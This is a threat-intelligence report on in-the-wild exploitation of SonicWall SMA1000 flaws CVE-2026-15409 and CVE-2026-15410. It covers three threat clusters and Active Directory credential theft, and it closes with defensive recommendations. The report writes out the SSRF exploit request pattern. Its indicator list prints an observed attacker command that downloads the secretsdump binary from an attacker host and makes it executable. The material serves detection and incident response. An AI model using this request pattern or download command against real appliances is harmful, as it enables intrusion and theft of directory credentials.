SonicWall SMA1000 (CVE-2026-15409): one CVSS-10 SSRF, three threat clusters, Active Directory theft from the appliance

Executive Summary

On July 14, 2026, SonicWall disclosed two vulnerabilities in its SMA 1000 Series secure-access appliances — CVE-2026-15409, a maximum-severity (CVSS 10.0) unauthenticated server-side request forgery (SSRF) in the WorkPlace interface, and CVE-2026-15410, a code-injection flaw (CVSS 7.2) in the Appliance Management Console (AMC) — and confirmed both were already being exploited as zero-days.¹² Chained, they form a fully remote, unauthenticated path to operating-system command execution on an appliance that sits at the edge of a corporate network and holds the keys to everything behind it.² Incident-response firm Volexity later dated the earliest observed compromise to June 22, 2026 — roughly three weeks before disclosure.³

What makes this incident worth studying is not a single intrusion but the speed and breadth of what followed, and the fact that at least three distinct threat clusters converged on the same freshly-disclosed flaw. Volexity attributes the original zero-day activity to an actor it tracks as UTA0533, which chained CVE-2026-15409 with CVE-2026-15410 to gain root and install a bespoke malware suite built specifically for SMA appliances — the KNUCKLEBALL dropper deploying the Sou5 reverse proxy and the ORANGETAIL Java web shell, alongside a ROOTRUN privilege-escalation tool.³ Separately, threat-intelligence firm Hunt.io documented a second, unrelated operator — staging from 95.181.173[.]36 — that refactored Rapid7's public proof-of-concept into an automated scanner-and-exploit toolchain and used CVE-2026-15409 alone to harvest Active Directory credentials at scale.⁴ By early August, CISA had flagged the flaws as exploited by ransomware gangs, and Resecurity linked that activity to an INC Ransomware affiliate.⁵

The Hunt.io campaign is the most fully documented, because the operator left an open directory containing its complete toolchain and output files. From consolidated data covering 250 target appliances, the operator recovered Active Directory LDAP configurations from 168, exposing 534 configuration records across 160 domains and 255 internal LDAP endpoints.⁴ It extracted SAM and LSA secrets from nine Active Directory environments and achieved full DCSync replication against seven domain controllers across five of them — turning a single unauthenticated appliance flaw into wholesale theft of internal directory databases in France, India, Italy and the United States, with a wider target inventory spanning the UK, Canada, Germany, Sweden, Poland, Hungary, South Korea and Hong Kong.⁴ The tradecraft is notable for where it ran: the operator executed Impacket's secretsdump directly from the compromised SonicWall appliances against internal Windows systems, a blind spot where endpoint detection and Windows event logging have little visibility.⁴

One reported victim anchors the campaign in the physical world. On July 17, 2026 — the same day Hunt.io first captured the operator's open directory — the Borough Council of King's Lynn and West Norfolk in the UK detected a cyberattack affecting council services during a local election count.⁴⁶ Hunt.io assesses with moderate confidence that the council incident is linked to the mass-exploitation campaign; the council itself, however, reported to the NCSC that its investigation found "no evidence that any data was accessed or stolen," and that the attack did not impede the election.⁴⁶ That gap — between a threat-intelligence firm's moderate-confidence linkage and the victim's own "no evidence of theft" finding — is exactly the kind of claim a reader should hold carefully.

Verification of Claims

1. Claim: CVE-2026-15409 and CVE-2026-15410 were exploited as zero-days before disclosure. → Verified → SonicWall confirmed active exploitation at disclosure, and Volexity dated the earliest observed compromise to June 22, 2026, weeks before the July 14 advisory.¹³ CISA added both to its KEV catalog on July 14 with a three-day (July 17) remediation deadline.²⁵

2. Claim: The CVSS-10 SSRF (CVE-2026-15409) by itself yields root on the appliance. → Partially verified / imprecise → CVE-2026-15409 alone is an SSRF; Hunt.io's operator used it to reach an internal Erlang node and execute OS commands "in the context of the appliance's couchdb account," not root.⁴ Root required chaining CVE-2026-15410's AMC command injection, which is how Volexity's UTA0533 gained "full control of the appliance."³ Tenable describes the pair, chained, as a path to "arbitrary OS command execution."² Reporting that attributes root to the single SSRF conflates the flaw with the two-CVE chain.

3. Claim: Multiple, distinct threat actors exploited these flaws. → Verified → Volexity attributes the original zero-day activity to UTA0533 and its custom SMA malware; Hunt.io documents a separate operator running a refactored Rapid7 PoC for AD credential theft; and CISA/Resecurity link later ransomware activity to an INC Ransomware affiliate.⁴³⁵ These are described by their respective researchers as separate clusters, not one campaign.

4. Claim: The King's Lynn and West Norfolk council attack was part of the SonicWall campaign. → Assessed, not confirmed → Hunt.io states this at "moderate confidence."⁴ The council's own statement is that no evidence of data access or theft was found and the election was not impeded.⁶ Hunt.io's confirmed-theft victims were in France, India, Italy and the US; the UK appears in the wider target inventory, not the confirmed-theft set.⁴

5. Claim: SonicWall issued no fix. → False → SonicWall released patches in versions 12.4.3-03453 and 12.5.0-02835 on July 14, urging immediate installation.³

Timeline

Attack Anatomy

Initial access — the shared SSRF (CVE-2026-15409)

Both documented operators began the same way. CVE-2026-15409 is an unauthenticated SSRF in the SMA1000 WorkPlace portal's /wsproxy WebSocket proxy (T1190). A request of the form /wsproxy?bmID=-3389<random>&serviceType=SSH&host=0.0.0.0&port=1050 makes the appliance open a connection to a service bound to its own local interface — services that were never meant to be reachable from the internet.⁴ Port 1050 exposes an Erlang distribution node, couchdb@127.0.0.1.⁴ The SSRF lets the operator tunnel the Erlang binary protocol through the public WebSocket connection (T1572), then complete the Erlang distribution handshake using a shared cookie hard-coded into the appliance firmware, authenticate to the node, and issue RPC calls to the rex process that execute OS commands via os:cmd() — in the context of the couchdb account (T1059).⁴

Path A — UTA0533: chain to root and custom malware

Volexity's UTA0533 chained the SSRF with CVE-2026-15410. After using the SSRF to reach internal services and query CouchDB for the appliance's product_uuid, it exploited the AMC's sysCtrl.execRemoveHotfix RPC method to execute commands as root and take full control (T1190, T1059).³ With root, it installed KNUCKLEBALL (deploy_new.py), a dropper that deployed two Java families built for SMA appliances: Sou5 (agent_wp8.jar), a reverse proxy for tunnelling into internal resources (T1090.001), and ORANGETAIL (agent_wp9.jar), a Java web shell that executes encrypted payloads within an HTTP session (T1505.003). It modified the appliance's nginx configuration to expose the web shell and installed ROOTRUN for privilege escalation.³ Volexity assessed UTA0533 as technically sophisticated but "less successful at spreading into victims' internal networks."³

Path B — the Hunt.io-tracked operator: SSRF to Active Directory

The second operator did not need CVE-2026-15410. Using command execution from the SSRF alone, it read /usr/local/extranet/etc/policy_file.xml from each appliance and parsed the stored Active Directory LDAP bind configurations (T1552.001).⁴ Those LDAP passwords are encrypted with a static 32-byte AES key embedded in the appliance's ASAPPasswordUtil.class bytecode — the same key on every vulnerable device — so the operator decrypted them in bulk on its own server.⁴ It then used curl to drop a standalone Linux build of Impacket's secretsdump to /tmp/secretsdump on the appliance (T1105) and ran it from the appliance against internal Windows systems, extracting SAM and LSA secrets (T1003.002, T1003.004) and, where a bind account had the privilege, performing DRSUAPI-based DCSync to replicate entire Active Directory databases (T1003.006, T1078).⁴ Running credential theft from the VPN appliance itself is the point: a SonicWall box running secretsdump against a domain controller triggers no EDR alert on Windows endpoints and appears in no Windows event log as a rogue process.⁴

Threat Actor Profile

At least three distinct clusters exploited these flaws; none has been attributed to a named group or nation-state on the public record.

• UTA0533 (Volexity designation) — the original zero-day operator, active from at least June 22, 2026. Uses custom, SMA-specific malware (KNUCKLEBALL, Sou5, ORANGETAIL, ROOTRUN) and the full 15409+15410 chain to root. Technically sophisticated but assessed as less effective at internal lateral movement.³
• The Hunt.io-tracked operator (95.181.173[.]36) — a separate actor that weaponised Rapid7's public PoC within roughly a day of its July 15 release into an automated, unattended scan-and-exploit toolchain, focused on Active Directory credential theft via the SSRF alone. Targeting was opportunistic and technology-driven across multiple sectors and countries. One of its scanner scripts (cve-2026-15409-check.py) carried Chinese-language comments; Hunt.io does not attribute the operator to any named group on that basis.⁴
• INC Ransomware affiliate — later exploitation flagged by CISA as ransomware activity and linked by Resecurity to an INC Ransomware affiliate.⁵

Attribution confidence: No named attribution for any cluster. The Chinese-language script comments are a weak, uncorroborated indicator of the second operator's working language, explicitly not treated by Hunt.io as attribution.⁴

MITRE ATT&CK techniques (verified on attack.mitre.org):

Technical Indicators

cves:
  - CVE-2026-15409   # SSRF, CVSS 10.0, SMA1000 WorkPlace /wsproxy
  - CVE-2026-15410   # code injection, CVSS 7.2, SMA1000 AMC
affected_appliances:
  - "SMA1000 6210, 7210, 8200v"
fixed_versions:
  - "12.4.3-03453"
  - "12.5.0-02835"
hunt_io_operator_infrastructure:
  - 95.181.173[.]36        # open directory + secretsdump binary (served on port 80)
exploit_request_pattern:
  - "/wsproxy?bmID=-3389<random>&serviceType=SSH&host=0.0.0[.]0&port=1050"   # defanged; drives the appliance to its own local port 1050 (Erlang node)
paths_and_files:
  - "/usr/local/extranet/etc/policy_file.xml"   # LDAP bind config read by attacker
  - "/tmp/secretsdump"                           # Impacket build dropped on the appliance
  - "/tmp/dump_[DC].out"                         # secretsdump output
  - "ASAPPasswordUtil.class"                     # holds the static 32-byte AES key for LDAP passwords
hunt_io_operator_tooling:
  - cve-2026-15409-check.py     # bulk detection scanner (Chinese-language comments)
  - cve-2026-15409-exploit.py   # refactor of Rapid7's PoC (credits Ryan Emmons)
  - ldap_extract.py
  - decrypt_ldap_password.py
  - auto_secretsdump.py
uta0533_malware:
  - "KNUCKLEBALL (deploy_new.py)"   # dropper
  - "Sou5 (agent_wp8.jar)"          # reverse proxy
  - "ORANGETAIL (agent_wp9.jar)"    # Java web shell
  - "ROOTRUN"                        # privilege escalation
  - "AMC RPC method: sysCtrl.execRemoveHotfix"
command_observed:
  - "curl -sL hxxp://95.181.173[.]36:80/secretsdump -o /tmp/secretsdump && chmod +x /tmp/secretsdump"
note: >
  IOCs are drawn from Hunt.io's captured open-directory analysis and Volexity's
  appliance forensics. Full hash sets are in the vendor reports; the two
  operators used different toolchains and should not be treated as one actor.

Legal and Regulatory Response

• Vendor: SonicWall disclosed CVE-2026-15409 and CVE-2026-15410 on July 14, 2026, confirmed active exploitation ("SonicWall PSIRT has investigated multiple cases indicating active exploitation"), and released fixed firmware (12.4.3-03453, 12.5.0-02835).¹³⁵
• CISA: Added both flaws to the Known Exploited Vulnerabilities catalog on July 14 with a three-day remediation deadline for Federal Civilian Executive Branch agencies, and subsequently flagged them as exploited by ransomware gangs.²⁵
• UK NCSC: The King's Lynn and West Norfolk council reported its July 17 incident to the NCSC; Hunt.io states it notified the NCSC and other national CERTs ahead of publishing, so affected organisations identified in its research could be contacted.⁴⁶
• Follow-on disclosure: On September 1, 2026, SonicWall disclosed further SMA1000 vulnerabilities — CVE-2026-83548, a pre-authentication SSRF in the WorkPlace interface reachable, per its NVD description, "due to an unintended alternate access path," and CVE-2026-83549, a post-authentication OS command-injection flaw in the AMC.⁷⁸ The structural echo of the July pair (a pre-auth WorkPlace SSRF plus a post-auth AMC command-execution flaw) is notable, but SonicWall has not characterised CVE-2026-83548 as a bypass of the CVE-2026-15409 fix, and this paper does not assert that it is.

Impact Assessment

• Confirmed (Hunt.io analysis of the operator's own output): From 250 target appliances, LDAP configuration recovered from 168; 534 configuration records across 160 domains and 255 internal LDAP endpoints; SAM/LSA secrets from 9 Active Directory environments; full DCSync against 7 domain controllers across 5 environments; confirmed credential theft affecting environments in France, India, Italy and the United States.⁴
• Confirmed (Volexity): UTA0533 achieved root on compromised appliances and deployed custom malware, but was "less successful" at internal network spread.³
• Reported: Ransomware exploitation flagged by CISA and linked by Resecurity to an INC Ransomware affiliate; Shadowserver tracked 380+ SMA1000 appliances exposed online as of early August.⁵
• Assessed, not confirmed: The King's Lynn and West Norfolk council attack as part of the campaign (Hunt.io moderate confidence); the council found no evidence of data access or theft.⁴⁶
• Unknown: The total number of organisations compromised across all three clusters; the overlap, if any, between the target sets; and whether the September 1 CVE-2026-83548 represents a re-opening of the same pre-auth SSRF surface after the July fix.⁴⁷

Lessons and Defensive Recommendations

For SOC and IR teams:

• Treat the VPN/edge appliance itself as a credential-theft platform, not just a perimeter device. Both operators ran their most damaging actions — LDAP decryption, secretsdump, DCSync — from the SonicWall appliance, precisely because the appliance OS is a monitoring blind spot. If your EDR and SIEM coverage stops at managed Windows/Linux hosts, an attacker operating from the appliance is invisible. Ingest appliance logs and watch for outbound connections from the appliance to internal domain controllers and LDAP endpoints.
• Hunt for the specific artefacts: reads of /usr/local/extranet/etc/policy_file.xml, a /tmp/secretsdump binary on an SMA appliance, and connections to 95.181.173[.]36. Assume a compromised appliance means the LDAP bind credentials in its configuration are burned and must be rotated.

For identity and Active Directory teams:

• The LDAP bind accounts stored on the appliance are the pivot. Scope them to the minimum privilege required for VPN authentication, and ensure none has directory-replication rights that would enable DCSync. Five environments in this campaign lost entire AD databases because a bind account had more privilege than a VPN gateway ever needs.
• A static, firmware-embedded AES key that decrypts stored credentials on every device means "the attacker read our config file" equals "the attacker has our LDAP passwords." Rotate those credentials on any appliance that was internet-exposed and unpatched during the exposure window, not just those with confirmed compromise.

For appliance owners and leadership:

• The interval from Rapid7's July 15 PoC to a 50-thread mass-exploitation scanner was about one day, and zero-day exploitation preceded the patch by three weeks. Patching SLAs for internet-facing SSL VPNs need to be measured in hours, and exposure must be assumed during any window a KEV-listed appliance sat unpatched — CISA's own deadline here was three days.
• SonicWall's SMA line has a documented history of exploited flaws (CVE-2025-23006, CVE-2025-40602 and others). An edge appliance with that track record warrants compensating controls — restricted management-interface exposure, network segmentation of the appliance from domain controllers — not just prompt patching.

Sources